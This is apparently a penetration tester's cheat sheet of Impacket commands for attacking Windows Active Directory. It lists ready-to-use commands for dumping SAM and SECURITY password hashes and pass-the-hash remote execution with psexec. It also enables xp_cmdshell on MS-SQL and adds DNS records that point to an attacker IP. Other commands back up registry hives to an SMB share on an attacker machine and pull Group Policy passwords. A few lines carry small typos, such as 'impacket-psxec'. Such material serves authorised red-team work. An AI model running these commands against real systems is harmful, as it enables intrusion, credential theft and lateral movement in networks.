Impacket

Collection of useful impacket commands common in engagements.

Add DNS record

# Git clone following repo: https://github.com/dirkjanm/krbrelayx/tree/master
python3 dnstool.py -u <domain\username> -p <password> -a add -r <ns-record> -d <attacker-ip> <dc-ip>

# Check if NS record has been added
python3 dnstool.py -u <domain\username> -p <password> -a query -r <ns-record> -d <attacker-ip> <dc-ip>

Add computer account

impacket-addcomputer -dc-ip <DC-IP> -computer-name <COMPUTER-NAME>$ -computer-pass '<PASSWORD>' '<DOMAIN-FQDN>/<USERNAME>:<PASSWORD>'

Dump local hashes with secretsdump

# Dump SAM
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# Dump SECURITY
impacket-secretsdump -security SECURITY -system SYSTEM LOCAL

RCE with psexec

# With a password
impacket-psxec <domain>/<username>:'<password>'@<target>

# With a hash
impacket-psexec <domain>/<username>@<target> -hashes <ntlm>:<ntlm>

SMBclient

# With a password
impacket-smbclient <domain>/<username>:'<password'@<target>

# With a hash
impacket-smbclient <domain>/<username>@<target> -hashes <ntlm>:<ntlm>

MSSQLclient

# Connect to MS-SQL Server
impacket-mssqlclient <username>:'<password>'@<target>

# Connect to MS-SQL Server via default SA creds
impacket-mssqlclient sa:'poiuytrewq'@<target>

# Enable XP_CMDSHELL for Remote Code Exection
> EXECUTE sp_configure 'show advanced options', 1;
> RECONFIGURE;
> EXECUTE sp_configure 'xp_cmdshell', 1;
> RECONFIGURE;
> xp_cmdshell '<command>'

Get a list of all AD users

impacket-GetADUsers -all <FQDN>/<USERNAME>:'<PASSWORD>' -dc-ip <IP> > all_users.txt
awk '{print $1}' all_users.txt > ad_users.txt

Dump SAM and SYSTEM using registry

# First start an SMB share
impacket-smbserver -smb2support "someshare" "./"

# Request backup of hives
impacket-reg <FQDN>/<USERNAME>:'<PASSWORD>'@<TARGET IP> backup -o '\\<ATTACKER IP>\someshare'

# Dump using secretsdump
impacket-secretsdump -sam SAM.save -system SYSTEM.save LOCAL

Enumerate Group Policy passwords

impacket-Get-GPPPassword '<FQDN/<USERNAME>':'<PASSWORD>'@<DC-IP> -dc-ip <DC-IP>